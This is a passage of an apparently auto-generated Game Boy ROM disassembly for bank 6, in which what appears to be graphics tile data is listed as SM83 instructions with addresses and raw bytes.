ld bc, $0700 ; $6833: $01 $00 $07
inc bc ; $6836: $03
inc a ; $6837: $3c
ccf ; $6838: $3f
ret nz ; $6839: $c0
ld bc, $003e ; $683a: $01 $3e $00
inc bc ; $683d: $03
nop ; $683e: $00
nop ; $683f: $00
nop ; $6840: $00
ld [hl], b ; $6841: $70
nop ; $6842: $00
db $fc ; $6843: $fc
ld hl, sp+$06 ; $6844: $f8 $06
db $fc ; $6846: $fc
ld [bc], a ; $6847: $02
db $fc ; $6848: $fc
ld [bc], a ; $6849: $02
ld hl, sp+$06 ; $684a: $f8 $06
nop ; $684c: $00
db $fc ; $684d: $fc
nop ; $684e: $00
ld [hl], b ; $684f: $70
nop ; $6850: $00
nop ; $6851: $00
nop ; $6852: $00
ld a, b ; $6853: $78
jr c, jr_006_681a ; $6854: $38 $c4
ld a, h ; $6856: $7c
add d ; $6857: $82
ld a, h ; $6858: $7c
add d ; $6859: $82
jr c, jr_006_6820 ; $685a: $38 $c4
nop ; $685c: $00
ld a, b ; $685d: $78
nop ; $685e: $00
nop ; $685f: $00
inc b ; $6860: $04
ld a, [bc] ; $6861: $0a
ld c, $11 ; $6862: $0e $11
ld c, $11 ; $6864: $0e $11
ld c, $11 ; $6866: $0e $11
inc b ; $6868: $04
ld a, [bc] ; $6869: $0a
inc b ; $686a: $04
ld a, [bc] ; $686b: $0a
inc b ; $686c: $04
nop ; $686d: $00
inc b ; $686e: $04
nop ; $686f: $00
ld b, b ; $6870: $40
and $40 ; $6871: $e6 $40
call c, $f474 ; $6873: $dc $74 $f4
ret nz ; $6876: $c0
db $ec ; $6877: $ec
add d ; $6878: $82
jp nz, Jump_000_2c02 ; $6879: $c2 $02 $2c
nop ; $687c: $00
ld l, d ; $687d: $6a
nop ; $687e: $00
ld h, d ; $687f: $62
inc d ; $6880: $14
inc e ; $6881: $1c
inc e ; $6882: $1c
inc e ; $6883: $1c
jr jr_006_68e0 ; $6884: $18 $5a
nop ; $6886: $00
ld h, d ; $6887: $62
add b ; $6888: $80
cp b ; $6889: $b8
ld b, b ; $688a: $40
add $38 ; $688b: $c6 $38
ld hl, sp+$44 ; $688d: $f8 $44
and $a8 ; $688f: $e6 $a8
db $ec ; $6891: $ec
db $10 ; $6892: $10
jr @-$0e ; $6893: $18 $f0
db $fc ; $6895: $fc
ld c, $fe ; $6896: $0e $fe
inc c ; $6898: $0c
db $fc ; $6899: $fc
jr c, @-$06 ; $689a: $38 $f8
ldh a, [$f0] ; $689c: $f0 $f0
ret nz ; $689e: $c0
ret nz ; $689f: $c0
dec e ; $68a0: $1d
ld b, b ; $68a1: $40
dec e ; $68a2: $1d
ld b, b ; $68a3: $40
dec e ; $68a4: $1d
ld b, b ; $68a5: $40
ld bc, $8062 ; $68a6: $01 $62 $80
cp [hl] ; $68a9: $be
ld b, b ; $68aa: $40
ret nz ; $68ab: $c0
ld a, [hl-] ; $68ac: $3a
ei ; $68ad: $fb
inc b ; $68ae: $04
rst $30 ; $68af: $f7
nop ; $68b0: $00
rlca ; $68b1: $07
jr jr_006_68b4 ; $68b2: $18 $00
jr_006_68b4:
jr nz, jr_006_68b6 ; $68b4: $20 $00
jr_006_68b6:
ld b, b ; $68b6: $40
nop ; $68b7: $00
nop ; $68b8: $00
ld d, c ; $68b9: $51
nop ; $68ba: $00
adc e ; $68bb: $8b
ld bc, $8a82 ; $68bc: $01 $82 $8a
rrca ; $68bf: $0f
or l ; $68c0: $b5
dec de ; $68c1: $1b
ld de, $1a9f ; $68c2: $11 $9f $1a
sbc [hl] ; $68c5: $9e
jr jr_006_6908 ; $68c6: $18 $40
jr jr_006_68cd ; $68c8: $18 $03
ld [$0400], sp ; $68ca: $08 $00 $04
jr_006_68cd:
nop ; $68cd: $00
nop ; $68ce: $00
nop ; $68cf: $00
nop ; $68d0: $00
nop ; $68d1: $00
nop ; $68d2: $00
rlca ; $68d3: $07
jr jr_006_68d6 ; $68d4: $18 $00
jr_006_68d6:
jr nz, jr_006_68d8 ; $68d6: $20 $00
jr_006_68d8:
ld hl, $0301 ; $68d8: $21 $01 $03
ld c, e ; $68db: $4b
inc bc ; $68dc: $03
ld b, d ; $68dd: $42
rrca ; $68de: $0f
ld c, a ; $68df: $4f
jr_006_68e0:
ccf ; $68e0: $3f
ld e, e ; $68e1: $5b
rra ; $68e2: $1f
ld e, a ; $68e3: $5f
ld e, $5e ; $68e4: $1e $5e
inc c ; $68e6: $0c
jr nz, jr_006_68f5 ; $68e7: $20 $0c
ld bc, $0004 ; $68e9: $01 $04 $00
ld [bc], a ; $68ec: $02
nop ; $68ed: $00
nop ; $68ee: $00
nop ; $68ef: $00
nop ; $68f0: $00
nop ; $68f1: $00
nop ; $68f2: $00
nop ; $68f3: $00
nop ; $68f4: $00
jr_006_68f5:
nop ; $68f5: $00
nop ; $68f6: $00
nop ; $68f7: $00
nop ; $68f8: $00
nop ; $68f9: $00
nop ; $68fa: $00
nop ; $68fb: $00
nop ; $68fc: $00
nop ; $68fd: $00
nop ; $68fe: $00
nop ; $68ff: $00
nop ; $6900: $00
nop ; $6901: $00
nop ; $6902: $00
nop ; $6903: $00
nop ; $6904: $00
nop ; $6905: $00
nop ; $6906: $00
nop ; $6907: $00
jr_006_6908:
nop ; $6908: $00
nop ; $6909: $00
nop ; $690a: $00
nop ; $690b: $00
nop ; $690c: $00
nop ; $690d: $00
nop ; $690e: $00
nop ; $690f: $00
nop ; $6910: $00
nop ; $6911: $00
nop ; $6912: $00
nop ; $6913: $00
nop ; $6914: $00
nop ; $6915: $00
nop ; $6916: $00
nop ; $6917: $00
nop ; $6918: $00
nop ; $6919: $00
nop ; $691a: $00
nop ; $691b: $00
nop ; $691c: $00
nop ; $691d: $00
nop ; $691e: $00
nop ; $691f: $00
nop ; $6920: $00
nop ; $6921: $00
jr nz, jr_006_69a0 ; $6922: $20 $7c
ld e, h ; $6924: $5c
jr nz, @+$23 ; $6925: $20 $21
ld a, h ; $6927: $7c
jr nz, jr_006_69a7 ; $6928: $20 $7d
jr nz, jr_006_69a8 ; $692a: $20 $7c
jr nz, @+$7e ; $692c: $20 $7c
nop ; $692e: $00
nop ; $692f: $00
nop ; $6930: $00
nop ; $6931: $00
inc b ; $6932: $04
ld a, $3a ; $6933: $3e $3a
inc b ; $6935: $04
add h ; $6936: $84
ld a, $04 ; $6937: $3e $04
jr_006_6939:
cp [hl] ; $6939: $be
inc b ; $693a: $04
ld a, $04 ; $693b: $3e $04
ld a, $00 ; $693d: $3e $00
nop ; $693f: $00
nop ; $6940: $00
nop ; $6941: $00
nop ; $6942: $00
nop ; $6943: $00
jr nz, @+$7e ; $6944: $20 $7c
ld e, l ; $6946: $5d
jr nz, jr_006_6969 ; $6947: $20 $20
ld a, l ; $6949: $7d
jr nz, jr_006_69c8 ; $694a: $20 $7c
nop ; $694c: $00
nop ; $694d: $00
nop ; $694e: $00
nop ; $694f: $00
nop ; $6950: $00
nop ; $6951: $00
nop ; $6952: $00
nop ; $6953: $00
inc b ; $6954: $04
ld a, $ba ; $6955: $3e $ba
inc b ; $6957: $04
inc b ; $6958: $04
cp [hl] ; $6959: $be
inc b ; $695a: $04
ld a, $00 ; $695b: $3e $00
nop ; $695d: $00
nop ; $695e: $00
nop ; $695f: $00
nop ; $6960: $00
nop ; $6961: $00
nop ; $6962: $00
nop ; $6963: $00
ld bc, $7e01 ; $6964: $01 $01 $7e
ld a, [hl] ; $6967: $7e
and c ; $6968: $a1
jr_006_6969:
rst $38 ; $6969: $ff
sbc $a1 ; $696a: $de $a1
and b ; $696c: $a0
cp $7e ; $696d: $fe $7e
ld a, [hl] ; $696f: $7e
ld a, h ; $6970: $7c
ld a, h ; $6971: $7c
add e ; $6972: $83
rst $38 ; $6973: $ff
inc [hl] ; $6974: $34
rst $08 ; $6975: $cf
nop ; $6976: $00
ld a, $80 ; $6977: $3e $80
cp [hl] ; $6979: $be
nop ; $697a: $00
ld b, [hl] ; $697b: $46
jr c, jr_006_6939 ; $697c: $38 $bb
ld a, h ; $697e: $7c
ld b, h ; $697f: $44
nop ; $6980: $00
nop ; $6981: $00
nop ; $6982: $00
nop ; $6983: $00
ret nz ; $6984: $c0
ret nz ; $6985: $c0
or b ; $6986: $b0
ldh a, [$08] ; $6987: $f0 $08
ld hl, sp+$54 ; $6989: $f8 $54
db $ec ; $698b: $ec
ld a, [bc] ; $698c: $0a
db $76 ; $698d: $76
ld a, [bc] ; $698e: $0a
ld [hl], $00 ; $698f: $36 $00
nop ; $6991: $00
ld a, l ; $6992: $7d
ld a, l ; $6993: $7d
and c ; $6994: $a1
db $fd ; $6995: $fd
db $dd ; $6996: $dd
and c ; $6997: $a1
and b ; $6998: $a0
cp $7e ; $6999: $fe $7e
ld a, [hl] ; $699b: $7e
ld b, $06 ; $699c: $06 $06
rrca ; $699e: $0f
add hl, bc ; $699f: $09
jr_006_69a0:
add $82 ; $69a0: $c6 $82
cp e ; $69a2: $bb
ld sp, $b92b ; $69a3: $31 $2b $b9
add hl, sp ; $69a6: $39
jr_006_69a7:
cp e ; $69a7: $bb
jr_006_69a8:
add d ; $69a8: $82
add $45 ; $69a9: $c6 $45
ld a, l ; $69ab: $7d
db $fd ; $69ac: $fd
cp c ; $69ad: $b9
ld [hl], e ; $69ae: $73
ld c, d ; $69af: $4a
ld b, c ; $69b0: $41
ccf ; $69b1: $3f
add c ; $69b2: $81
ld a, a ; $69b3: $7f
ld bc, $11fe ; $69b4: $01 $fe $11
ccf ; $69b7: $3f
add c ; $69b8: $81
sbc [hl] ; $69b9: $9e
ld bc, $319f ; $69ba: $01 $9f $31
cp [hl] ; $69bd: $be
add [hl] ; $69be: $86
cp [hl] ; $69bf: $be
add hl, de ; $69c0: $19
ld d, $0a ; $69c1: $16 $0a
dec e ; $69c3: $1d
dec d ; $69c4: $15
inc de ; $69c5: $13
ld a, [hl+] ; $69c6: $2a
ld [hl-], a ; $69c7: $32
jr_006_69c8:
inc h ; $69c8: $24
inc a ; $69c9: $3c
jr @+$1a ; $69ca: $18 $18
nop ; $69cc: $00
nop ; $69cd: $00
ld bc, $3a00 ; $69ce: $01 $00 $3a
add hl, sp ; $69d1: $39
xor b ; $69d2: $a8
cp e ; $69d3: $bb
ld a, [hl+] ; $69d4: $2a
dec sp ; $69d5: $3b
dec h ; $69d6: $25
dec a ; $69d7: $3d
ld [hl], h ; $69d8: $74
inc a ; $69d9: $3c
ld d, e ; $69da: $53
ccf ; $69db: $3f
adc b ; $69dc: $88
ld l, a ; $69dd: $6f
rlca ; $69de: $07
add a ; $69df: $87
ld b, b ; $69e0: $40
ret z ; $69e1: $c8
ld h, h ; $69e2: $64
sub $b0 ; $69e3: $d6 $b0
or b ; $69e5: $b0
ld [hl], b ; $69e6: $70
ld d, [hl] ; $69e7: $56
ld h, b ; $69e8: $60
ld h, b ; $69e9: $60
ld h, h ; $69ea: $64
and [hl] ; $69eb: $a6
ret nz ; $69ec: $c0
ret nz ; $69ed: $c0
nop ; $69ee: $00
nop ; $69ef: $00
nop ; $69f0: $00
nop ; $69f1: $00
nop ; $69f2: $00
nop ; $69f3: $00
ld bc, $1e01 ; $69f4: $01 $01 $1e
ld e, $29 ; $69f7: $1e $29
ccf ; $69f9: $3f
ld [hl], $29 ; $69fa: $36 $29
jr z, jr_006_6a3c ; $69fc: $28 $3e
ld e, $1e ; $69fe: $1e $1e
nop ; $6a00: $00
nop ; $6a01: $00
ld e, $1e ; $6a02: $1e $1e
jr z, jr_006_6a44 ; $6a04: $28 $3e
jr_006_6a06:
ld [hl], $28 ; $6a06: $36 $28
jr z, @+$41 ; $6a08: $28 $3f
jr_006_6a0a:
rra ; $6a0a: $1f
rra ; $6a0b: $1f
ld b, $06 ; $6a0c: $06 $06
jr_006_6a0e:
rrca ; $6a0e: $0f
add hl, bc ; $6a0f: $09
nop ; $6a10: $00
nop ; $6a11: $00
nop ; $6a12: $00
nop ; $6a13: $00
jr jr_006_6a2e ; $6a14: $18 $18
ld b, $1e ; $6a16: $06 $1e
ld bc, $8a9f ; $6a18: $01 $9f $8a
sbc l ; $6a1b: $9d
ld bc, $e14e ; $6a1c: $01 $4e $e1
and $00 ; $6a1f: $e6 $00
nop ; $6a21: $00
jr_006_6a22:
nop ; $6a22: $00
nop ; $6a23: $00
jr_006_6a24:
nop ; $6a24: $00
nop ; $6a25: $00
nop ; $6a26: $00
nop ; $6a27: $00
jr_006_6a28:
nop ; $6a28: $00
nop ; $6a29: $00
add b ; $6a2a: $80
add b ; $6a2b: $80
jr_006_6a2c:
ld b, b ; $6a2c: $40
ret nz ; $6a2d: $c0
jr_006_6a2e:
ld b, b ; $6a2e: $40
ret nz ; $6a2f: $c0
ret z ; $6a30: $c8
and a ; $6a31: $a7
ld d, b ; $6a32: $50
ld c, a ; $6a33: $4f
ld b, b ; $6a34: $40
ld e, a ; $6a35: $5f
ld h, d ; $6a36: $62
ld h, a ; $6a37: $67
sbc b ; $6a38: $98
cp e ; $6a39: $bb
ld e, b ; $6a3a: $58
db $db ; $6a3b: $db
jr_006_6a3c:
ld c, d ; $6a3c: $4a
db $db ; $6a3d: $db
sub b ; $6a3e: $90
sub a ; $6a3f: $97
jr nz, jr_006_6a22 ; $6a40: $20 $e0
jr nz, jr_006_6a24 ; $6a42: $20 $e0
jr_006_6a44:
jr nz, jr_006_6a06 ; $6a44: $20 $c0
jr nz, jr_006_6a28 ; $6a46: $20 $e0
jr nz, jr_006_6a0a ; $6a48: $20 $c0
jr nz, jr_006_6a2c ; $6a4a: $20 $e0
jr nz, jr_006_6a0e ; $6a4c: $20 $c0
ret nz ; $6a4e: $c0
ret nz ; $6a4f: $c0
ld a, [hl-] ; $6a50: $3a
add hl, sp ; $6a51: $39
xor b ; $6a52: $a8
cp e ; $6a53: $bb
ld a, [hl+] ; $6a54: $2a
dec sp ; $6a55: $3b
scf ; $6a56: $37
ccf ; $6a57: $3f
ld [hl], c ; $6a58: $71
ccf ; $6a59: $3f
ld e, h ; $6a5a: $5c
ccf ; $6a5b: $3f
add e ; $6a5c: $83
ld h, e ; $6a5d: $63
nop ; $6a5e: $00
add b ; $6a5f: $80
ld b, d ; $6a60: $42
pop bc ; $6a61: $c1
ld b, [hl] ; $6a62: $46
add $8c ; $6a63: $c6 $8c
adc b ; $6a65: $88
inc e ; $6a66: $1c
inc e ; $6a67: $1c
ld a, b ; $6a68: $78
ld l, b ; $6a69: $68
ld [hl], b ; $6a6a: $70
or b ; $6a6b: $b0
ret nz ; $6a6c: $c0
ret nz ; $6a6d: $c0
nop ; $6a6e: $00
nop ; $6a6f: $00
nop ; $6a70: $00
nop ; $6a71: $00
add b ; $6a72: $80
ret nz ; $6a73: $c0
nop ; $6a74: $00
nop ; $6a75: $00
nop ; $6a76: $00
ret nz ; $6a77: $c0
nop ; $6a78: $00
nop ; $6a79: $00
add b ; $6a7a: $80
ret nz ; $6a7b: $c0
nop ; $6a7c: $00
nop ; $6a7d: $00
nop ; $6a7e: $00
nop ; $6a7f: $00
nop ; $6a80: $00
nop ; $6a81: $00
inc a ; $6a82: $3c
inc a ; $6a83: $3c
ld a, [hl] ; $6a84: $7e
ld a, [hl] ; $6a85: $7e
ld h, a ; $6a86: $67
ld a, a ; $6a87: $7f
ld h, a ; $6a88: $67
ld a, a ; $6a89: $7f
ld a, [hl] ; $6a8a: $7e
ld a, [hl] ; $6a8b: $7e
inc a ; $6a8c: $3c
inc a ; $6a8d: $3c
nop ; $6a8e: $00
nop ; $6a8f: $00
inc a ; $6a90: $3c
inc a ; $6a91: $3c
ld b, e ; $6a92: $43
jr_006_6a93:
ld a, a ; $6a93: $7f
sbc h ; $6a94: $9c
db $e3 ; $6a95: $e3
cp a ; $6a96: $bf
ret nz ; $6a97: $c0
cp a ; $6a98: $bf
ret nz ; $6a99: $c0
sbc h ; $6a9a: $9c
db $e3 ; $6a9b: $e3
ld b, e ; $6a9c: $43
ld a, a ; $6a9d: $7f
inc a ; $6a9e: $3c
inc a ; $6a9f: $3c
nop ; $6aa0: $00
nop ; $6aa1: $00
nop ; $6aa2: $00
nop ; $6aa3: $00
cp $fe ; $6aa4: $fe $fe
rst $38 ; $6aa6: $ff
ld bc, $1efe ; $6aa7: $01 $fe $1e
ldh [$e0], a ; $6aaa: $e0 $e0
nop ; $6aac: $00
nop ; $6aad: $00
nop ; $6aae: $00
nop ; $6aaf: $00
inc a ; $6ab0: $3c
inc a ; $6ab1: $3c
ld h, $3e ; $6ab2: $26 $3e
ld e, d ; $6ab4: $5a
ld h, [hl] ; $6ab5: $66
ld e, l ; $6ab6: $5d
ld h, e ; $6ab7: $63
cp l ; $6ab8: $bd
jp $c3bd ; $6ab9: $c3 $bd $c3
cp c ; $6abc: $b9
rst $00 ; $6abd: $c7
sbc d ; $6abe: $9a
and $00 ; $6abf: $e6 $00
nop ; $6ac1: $00
nop ; $6ac2: $00
nop ; $6ac3: $00
ld [bc], a ; $6ac4: $02
ld a, $18 ; $6ac5: $3e $18
ld h, [hl] ; $6ac7: $66
inc a ; $6ac8: $3c
jr_006_6ac9:
ld b, d ; $6ac9: $42
inc a ; $6aca: $3c
ld b, d ; $6acb: $42
jr jr_006_6b32 ; $6acc: $18 $64
jr @+$26 ; $6ace: $18 $24
db $10 ; $6ad0: $10
inc l ; $6ad1: $2c
ld [$0830], sp ; $6ad2: $08 $30 $08
stop ; $6ad5: $10 $00
db $10 ; $6ad7: $10
stop ; $6ad8: $10 $00
stop ; $6ada: $10 $00
nop ; $6adc: $00
nop ; $6add: $00
nop ; $6ade: $00
nop ; $6adf: $00
nop ; $6ae0: $00
jr jr_006_6aeb ; $6ae1: $18 $08
inc [hl] ; $6ae3: $34
jr @+$26 ; $6ae4: $18 $24
jr jr_006_6b0c ; $6ae6: $18 $24
jr jr_006_6b0e ; $6ae8: $18 $24
db $10 ; $6aea: $10
jr_006_6aeb:
jr z, jr_006_6aed ; $6aeb: $28 $00
jr_006_6aed:
jr jr_006_6aef ; $6aed: $18 $00
jr_006_6aef:
db $10 ; $6aef: $10
add $82 ; $6af0: $c6 $82
cp e ; $6af2: $bb
ld bc, $813b ; $6af3: $01 $3b $81
add hl, sp ; $6af6: $39
add e ; $6af7: $83
add d ; $6af8: $82
add $45 ; $6af9: $c6 $45
ld a, l ; $6afb: $7d
db $fd ; $6afc: $fd
cp c ; $6afd: $b9
ld [hl], e ; $6afe: $73
ld c, d ; $6aff: $4a
ld bc, $0600 ; $6b00: $01 $00 $06
nop ; $6b03: $00
ld c, $00 ; $6b04: $0e $00
ld h, h ; $6b06: $64
jr jr_006_6ac9 ; $6b07: $18 $c0
jr c, jr_006_6a93 ; $6b09: $38 $88
ld [hl], b ; $6b0b: $70
jr_006_6b0c:
sbc b ; $6b0c: $98
ld h, b ; $6b0d: $60
jr_006_6b0e:
ld [hl], b ; $6b0e: $70
nop ; $6b0f: $00
jr nc, jr_006_6b12 ; $6b10: $30 $00
jr_006_6b12:
jr nc, jr_006_6b14 ; $6b12: $30 $00
jr_006_6b14:
jr jr_006_6b36 ; $6b14: $18 $20
inc a ; $6b16: $3c
nop ; $6b17: $00
ld l, h ; $6b18: $6c
db $10 ; $6b19: $10
jr c, jr_006_6b60 ; $6b1a: $38 $44
ld a, h ; $6b1c: $7c
nop ; $6b1d: $00
jr c, jr_006_6b20 ; $6b1e: $38 $00
jr_006_6b20:
jr nz, jr_006_6b22 ; $6b20: $20 $00
jr_006_6b22:
ld h, b ; $6b22: $60
nop ; $6b23: $00
jr nc, jr_006_6b26 ; $6b24: $30 $00
jr_006_6b26:
jr jr_006_6b28 ; $6b26: $18 $00
jr_006_6b28:
ld [$0800], sp ; $6b28: $08 $00 $08
nop ; $6b2b: $00
jr nc, jr_006_6b2e ; $6b2c: $30 $00
jr_006_6b2e:
ld h, b ; $6b2e: $60
nop ; $6b2f: $00
stop ; $6b30: $10 $00
jr_006_6b32:
ld [$3000], sp ; $6b32: $08 $00 $30
nop ; $6b35: $00
jr_006_6b36:
ld h, b ; $6b36: $60
nop ; $6b37: $00
jr nz, jr_006_6b3a ; $6b38: $20 $00
jr_006_6b3a:
jr nc, jr_006_6b3c ; $6b3a: $30 $00
jr_006_6b3c:
jr jr_006_6b3e ; $6b3c: $18 $00
jr_006_6b3e:
stop ; $6b3e: $10 $00
stop ; $6b40: $10 $00
nop ; $6b42: $00
nop ; $6b43: $00
jr_006_6b44:
stop ; $6b44: $10 $00
jr nz, jr_006_6b48 ; $6b46: $20 $00
jr_006_6b48:
stop ; $6b48: $10 $00
ld [$1000], sp ; $6b4a: $08 $00 $10
nop ; $6b4d: $00
jr nz, jr_006_6b50 ; $6b4e: $20 $00
jr_006_6b50:
ld bc, $1a01 ; $6b50: $01 $01 $1a
dec de ; $6b53: $1b
jr nc, @+$2d ; $6b54: $30 $2b
ld h, b ; $6b56: $60
ld e, l ; $6b57: $5d
ld b, b ; $6b58: $40
ld a, l ; $6b59: $7d
dec b ; $6b5a: $05
dec e ; $6b5b: $1d
or a ; $6b5c: $b7
ldh a, [$c8] ; $6b5d: $f0 $c8
add b ; $6b5f: $80
jr_006_6b60:
ret nz ; $6b60: $c0
ret nz ; $6b61: $c0
jr nz, jr_006_6b44 ; $6b62: $20 $e0
ret nc ; $6b64: $d0
jr nc, @+$16 ; $6b65: $30 $14
db $f4 ; $6b67: $f4
ld [bc], a ; $6b68: $02
xor $85 ; $6b69: $ee $85
db $db ; $6b6b: $db
ld b, c ; $6b6c: $41
ld a, a ; $6b6d: $7f
add c ; $6b6e: $81
rra ; $6b6f: $1f
sub a ; $6b70: $97
add $95 ; $6b71: $c6 $95
rst $00 ; $6b73: $c7
ld b, a ; $6b74: $47
ld d, a ; $6b75: $57
nop ; $6b76: $00
ld [$6750], sp ; $6b77: $08 $50 $67
jr z, jr_006_6bac ; $6b7a: $28 $30
jr_006_6b7c:
db $10 ; $6b7c: $10
rra ; $6b7d: $1f
rrca ; $6b7e: $0f
rrca ; $6b7f: $0f
ld b, $5e ; $6b80: $06 $5e
ld [$094c], sp ; $6b82: $08 $4c $09
ld e, l ; $6b85: $5d
inc de ; $6b86: $13
sub e ; $6b87: $93
ld b, c ; $6b88: $41
dec c ; $6b89: $0d
adc l ; $6b8a: $8d
ld d, e ; $6b8b: $53
ld c, h ; $6b8c: $4c
jp nc, $8c80 ; $6b8d: $d2 $80 $8c
nop ; $6b90: $00
nop ; $6b91: $00
nop ; $6b92: $00
nop ; $6b93: $00
nop ; $6b94: $00
nop ; $6b95: $00
nop ; $6b96: $00
nop ; $6b97: $00
nop ; $6b98: $00
nop ; $6b99: $00
nop ; $6b9a: $00
nop ; $6b9b: $00
nop ; $6b9c: $00
nop ; $6b9d: $00
nop ; $6b9e: $00
nop ; $6b9f: $00
add hl, hl ; $6ba0: $29
scf ; $6ba1: $37
scf ; $6ba2: $37
ccf ; $6ba3: $3f
add hl, hl ; $6ba4: $29
scf ; $6ba5: $37
scf ; $6ba6: $37
ccf ; $6ba7: $3f
add hl, hl ; $6ba8: $29
scf ; $6ba9: $37
scf ; $6baa: $37
ccf ; $6bab: $3f
jr_006_6bac:
add hl, hl ; $6bac: $29
scf ; $6bad: $37
ld e, $1e ; $6bae: $1e $1e
ld b, d ; $6bb0: $42
inc a ; $6bb1: $3c
ld b, h ; $6bb2: $44
jr c, jr_006_6bd7 ; $6bb3: $38 $22
inc e ; $6bb5: $1c
ld h, [hl] ; $6bb6: $66
jr jr_006_6bf5 ; $6bb7: $18 $3c
nop ; $6bb9: $00
ld a, $00 ; $6bba: $3e $00
ld e, h ; $6bbc: $5c
nop ; $6bbd: $00
nop ; $6bbe: $00
nop ; $6bbf: $00
inc h ; $6bc0: $24
jr jr_006_6be7 ; $6bc1: $18 $24
jr jr_006_6bf7 ; $6bc3: $18 $32
inc c ; $6bc5: $0c
ld d, [hl] ; $6bc6: $56
jr z, jr_006_6c2e ; $6bc7: $28 $65
jr jr_006_6c0d ; $6bc9: $18 $42
inc a ; $6bcb: $3c
and d ; $6bcc: $a2
inc e ; $6bcd: $1c
dec h ; $6bce: $25
jr jr_006_6c05 ; $6bcf: $18 $34
ld [$0c72], sp ; $6bd1: $08 $72 $0c
ld h, h ; $6bd4: $64
jr jr_006_6b7c ; $6bd5: $18 $a5
jr_006_6bd7:
jr @+$26 ; $6bd7: $18 $24
jr jr_006_6c0d ; $6bd9: $18 $32
inc c ; $6bdb: $0c
ld h, d ; $6bdc: $62
inc e ; $6bdd: $1c
inc h ; $6bde: $24
jr jr_006_6be1 ; $6bdf: $18 $00
jr_006_6be1:
nop ; $6be1: $00
nop ; $6be2: $00
nop ; $6be3: $00
ld bc, $0400 ; $6be4: $01 $00 $04
jr_006_6be7:
nop ; $6be7: $00
inc bc ; $6be8: $03
nop ; $6be9: $00
db $10 ; $6bea: $10
inc bc ; $6beb: $03
rrca ; $6bec: $0f
nop ; $6bed: $00
inc bc ; $6bee: $03
nop ; $6bef: $00
ld [hl+], a ; $6bf0: $22
inc e ; $6bf1: $1c
ld b, d ; $6bf2: $42
inc a ; $6bf3: $3c
ld h, e ; $6bf4: $63
jr_006_6bf5:
inc e ; $6bf5: $1c
and c ; $6bf6: $a1
jr_006_6bf7:
ld e, [hl] ; $6bf7: $5e
xor d ; $6bf8: $aa
ld d, l ; $6bf9: $55
rst $30 ; $6bfa: $f7
ld [$04fb], sp ; $6bfb: $08 $fb $04
ld a, l ; $6bfe: $7d
nop ; $6bff: $00
ld b, d ; $6c00: $42
nop ; $6c01: $00
ld sp, $1c00 ; $6c02: $31 $00 $1c
jr_006_6c05:
nop ; $6c05: $00
inc bc ; $6c06: $03
nop ; $6c07: $00
add d ; $6c08: $82
ld bc, $0075 ; $6c09: $01 $75 $00
inc de ; $6c0c: $13
jr_006_6c0d:
nop ; $6c0d: $00
nop ; $6c0e: $00
nop ; $6c0f: $00
ld [hl+], a ; $6c10: $22
inc e ; $6c11: $1c
db $76 ; $6c12: $76
ld [$205e], sp ; $6c13: $08 $5e $20
cp [hl] ; $6c16: $be
ld b, b ; $6c17: $40
sub c ; $6c18: $91
ld l, [hl] ; $6c19: $6e
nop ; $6c1a: $00
rst $38 ; $6c1b: $ff
ld b, h ; $6c1c: $44
cp e ; $6c1d: $bb
ei ; $6c1e: $fb
nop ; $6c1f: $00
sub a ; $6c20: $97
ret nz ; $6c21: $c0
sub a ; $6c22: $97
ret nz ; $6c23: $c0
ld b, a ; $6c24: $47
ld d, b ; $6c25: $50
nop ; $6c26: $00
ld [$6750], sp ; $6c27: $08 $50 $67
jr z, jr_006_6c5c ; $6c2a: $28 $30
db $10 ; $6c2c: $10
rra ; $6c2d: $1f
jr_006_6c2e:
rrca ; $6c2e: $0f
rrca ; $6c2f: $0f
ld b, $06 ; $6c30: $06 $06
rlca ; $6c32: $07
dec b ; $6c33: $05
inc bc ; $6c34: $03
ld [bc], a ; $6c35: $02
ld bc, $c101 ; $6c36: $01 $01 $c1
pop bc ; $6c39: $c1
ld hl, sp-$48 ; $6c3a: $f8 $b8
ld a, a ; $6c3c: $7f
ld b, a ; $6c3d: $47
ld h, $39 ; $6c3e: $26 $39
nop ; $6c40: $00
nop ; $6c41: $00
add b ; $6c42: $80
add b ; $6c43: $80
ldh [$60], a ; $6c44: $e0 $60
ld [hl], e ; $6c46: $73
sub e ; $6c47: $93
ld d, $e5 ; $6c48: $16 $e5
adc h ; $6c4a: $8c
db $eb ; $6c4b: $eb
ld bc, $1c02 ; $6c4c: $01 $02 $1c
ld b, b ; $6c4f: $40
nop ; $6c50: $00
nop ; $6c51: $00
jr c, jr_006_6c8c ; $6c52: $38 $38
ld [hl], h ; $6c54: $74
ld c, h ; $6c55: $4c
jp c, $25be ; $6c56: $da $be $25
rst $20 ; $6c59: $e7
daa ; $6c5a: $27
push hl ; $6c5b: $e5
jr_006_6c5c:
ld h, d ; $6c5c: $62
ld [c], a ; $6c5d: $e2
rst $10 ; $6c5e: $d7
ld d, l ; $6c5f: $55
db $10 ; $6c60: $10
ld e, $10 ; $6c61: $1e $10
ld e, $09 ; $6c63: $1e $09
inc c ; $6c65: $0c
nop ; $6c66: $00
inc bc ; $6c67: $03
inc c ; $6c68: $0c
dec bc ; $6c69: $0b
inc c ; $6c6a: $0c
dec bc ; $6c6b: $0b
ld [$040f], sp ; $6c6c: $08 $0f $04
dec b ; $6c6f: $05
ld [hl+], a ; $6c70: $22
add b ; $6c71: $80
ld e, l ; $6c72: $5d
jr jr_006_6cca ; $6c73: $18 $55
inc e ; $6c75: $1c
inc e ; $6c76: $1c
ld e, l ; $6c77: $5d
nop ; $6c78: $00
and d ; $6c79: $a2
nop ; $6c7a: $00
call c, $c081 ; $6c7b: $dc $81 $c0
ld c, h ; $6c7e: $4c
db $d3 ; $6c7f: $d3
ld a, [hl+] ; $6c80: $2a
ld a, [hl-] ; $6c81: $3a
ld b, a ; $6c82: $47
ld e, l ; $6c83: $5d
ld [hl+], a ; $6c84: $22
ld l, [hl] ; $6c85: $6e
ld h, a ; $6c86: $67
ld c, c ; $6c87: $49
ld d, c ; $6c88: $51
ld e, a ; $6c89: $5f
or e ; $6c8a: $b3
cpl ; $6c8b: $2f
jr_006_6c8c:
db $e3 ; $6c8c: $e3
sbc l ; $6c8d: $9d
ld [bc], a ; $6c8e: $02
cp $06 ; $6c8f: $fe $06
inc b ; $6c91: $04
inc c ; $6c92: $0c
dec bc ; $6c93: $0b
jr jr_006_6cad ; $6c94: $18 $17
dec de ; $6c96: $1b
rla ; $6c97: $17
dec [hl] ; $6c98: $35
dec l ; $6c99: $2d
ld a, c ; $6c9a: $79
ld e, c ; $6c9b: $59
ld h, e ; $6c9c: $63
ld h, d ; $6c9d: $62
inc bc ; $6c9e: $03
inc bc ; $6c9f: $03
ld h, b ; $6ca0: $60
